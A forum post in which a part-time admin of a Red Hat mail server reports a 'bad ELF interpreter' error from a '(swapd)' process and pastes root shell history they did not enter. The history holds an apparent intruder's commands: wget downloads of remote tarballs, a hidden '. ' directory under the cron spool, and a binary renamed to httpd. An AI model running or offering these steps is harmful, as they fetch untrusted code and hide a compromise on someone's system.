SWAPD bad ELF interpreter
Recently my linux box has started giving me a strange error (at least to me it's strange). Whenever I use /etc/init.d/<servicename> <start/stop/status> I get the following error before it goes ahead and does what it's supposed to:
sh: /usr/bin/(swapd): /lib/ld-linux.so.1: bad ELF interpreter: No such file or directory
Now I have not made any recent modifications to this box (that I can remember) and I believe I just started getting this error one day without any precursor activity on my part.
I looked for the /lib/ld-linux.so.1 file which I obviously could not find. I did find /lib/ld-linux.so.2 though.
Also, I use PUTTY to admin and I now notice all my softlinks are highlighted in RED, but they still seem to work. As you can tell, I'm just a part time admin so please excuse the technical ignorance.
Running rh 8, sendmail, apache, squirrelmail. It's a Mail server.
Everything seems to still be working, I'm just getting this error.
Scanning through the history of root commands I came across some commands I don't recognize as having entered them myself:
466 wget www.stadion.home.ro/muie.tgz
467 tar -zxvf muie.tgz
468 cd muie
473 wget www.stadion.home.ro/muie.tgz
474 tar -zxvf muie.tgz
475 cd muie
480 ifconfig -a
481 cd /var/spool
482 ls -la
483 cd cron
484 ls -la
485 mkdir crontabs
486 cd crontabs
487 mkdir ". "
488 cd ". "
490 wget www.Icky.home.ro/mil2.tar
491 tar xvf mil2.tar
492 rm -rf mil2.tar
493 cd mil
494 ls -la
496 vi muhrc
497 mv init httpd
498 export PATH:=PATH
499 export PATH=:PATH
I'm begining to think I may have been hacked. Anyone have any input for me how to resolve my issue, and perhaps can put my fears to rest?
Going to look into these commands further as I just noticed this as I was typing this message.